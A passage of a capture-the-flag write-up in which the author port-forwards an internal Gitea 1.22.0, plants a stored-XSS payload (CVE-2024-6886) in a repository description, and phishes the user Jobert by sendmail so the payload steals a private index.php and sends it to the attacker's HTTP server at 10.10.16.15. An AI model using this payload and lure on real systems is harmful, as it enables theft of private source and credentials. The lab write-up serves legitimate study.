- Rosa informs Axel about launching new cat-related web services.
- Axel needs to email Jobert with details about his Gitea repository for evaluation.
- The company is developing an employee management system where admins get roles and employees can track tasks.
- The project is hosted on a private Gitea at: http://localhost:3000/administrator/Employee-management/
- The README file contains updates and important details.
Therefore, our next step will check for access to Gitea.
Gitea
Port Forward
Gitea is an open-source private Git repository service, typically running on port 3000 by default. The email hint suggests an internal Gitea instance, which we can confirm by checking active network services with:

Except port 3000 for Gitea, we can identify Port 25
& 587
are open for SMTP Mail Services - Port 587 is typically used for mail submission (SMTP with authentication), whereas port 25 is used for mail relay (server-to-server communication).
Port forward them for further exploitation:
ssh -L 3000:127.0.0.1:3000 -L 25:127.0.0.1:25 -L 587:127.0.0.1:587 [email protected]
Gitea is accessible on http://localhost:3000 and we can identify its version 1.22.0
which is known with some CVE vulnerabilities:

We can log in to Gitea using Axel’s credentials, but there’s nothing useful in his repositories. However, based on the email hint, it’s likely that Jobert is the one managing Gitea.
Search a bit on Internet, CVE-2024-6886 comes into our sight for another Stored XSS in this box.
CVE-2024-6886 | XSS
CVE-2024-6886 indicates that Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability.
- Gitea allows repository owners/admins to configure Git hooks.
- Git hooks are scripts that automatically execute predefined actions before or after Git operations (e.g.,
pre-receive
,post-receive
). - Attackers with admin or owner privileges on a repository can upload a malicious Git hook to execute arbitrary system commands, leading to remote code execution (RCE).
We can now try to exploit the Gitea following the steps introduced on the CVE.
Step 1: HTTP Listener
Set up a Python HTTP server on to receive data extracted from the target:
python3 -m http.server 80
This will allow us later capturing responses from Jobert clicking the link in the exploit.
Step 2: Create a New Repo on Gitea
After logging in the Gitea on http://localhost:3000 with the credentials of axel
, we can create a repository, for example named bad-repo
:

This is just a standard repository, which will be used to trick Jobert into interacting with it.
Step 3: Add a File
Add a file under the newly created repository by clicking "New File":

Without a file, the repository remains in an uninitialized state, and the description-based XSS payload won't be executed when the target views it.
Step 4: Inject JavaScript Payload in Description
Then we can modifie the repository description to contain a malicious JavaScript payload:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => response.text())
.then(data => fetch('http://10.10.16.15/?resp=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">EXPLOIT</a>
To exploit this, we need to trick Jobert into viewing the private repository file (Employee-management/raw/branch/main/<file>
) and exfiltrating its content to our server using Stored XSS.
From the mail, we know that an important file exists at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md. We are able read it using the techniques introduced later - but it was the first file tested in our exploitation:
# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees
Since the site is still under development, our best bet is to start by investigating the unfinished index.php
:

The JavaScript payload fetches the content of index.php
(source code) from the private Gitea repository, which is constructed in a format $username/$repo_name/settings
. The one on this server is hosted at http://localhost:3000/administrator/Employee-management which is indicated in the mail. Then it embeds malicious XSS payload fetching back our HTTP server.
Step 5: Trick Jobert into Clicking the Link
We need to send an email to Jobert, as told from the mail:
Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
sendmail
is a built-in Linux command used to send emails from the terminal. We can look up the manual book:
man sendmail 8

Send an message to jobert
as instructed by the mail:
echo -e "Subject: test \n\nThis is a repo from Donald Trump http://localhost:3000/axel/bad-repo" | sendmail jobert@localhost
Step 6: Trigger
Jobert will then receive the email, clicks the link in the repository description to trigger the JavaScript payload in Jobert’s browser session (which has access to our target - the Gitea’s private repository).
On the listener set up in advance, we will then receive a callback:

Decode it to reveal the source code:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7▒▒▒▒▒▒';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
Switch to root user with Jobert's password:

Rooted.
Comments | 2 comments
Great Writeup, I tried to do cat a second time today with this to understand better. Really helped (doing the quick sqlmap manually without the script was annoying).
Two things: The script does not fully work like that, time module missing and last while loop continue missing indentation.
Also while you removed part of the password of admin, the urlcode is still fully visible and could theoretically decode root pass from there.
Thanks!
@TheGreat Thanks for poiting out that.
I realized the script had some issue after copied from the MarkDown note (some format issues), then I simply correct it on this post without verifying the result by running it again on the target.
The time moduled was used for debugging and I tried to remove it for the release to keep it shorter.
Anyway it should be easy to tune it up with the error msg.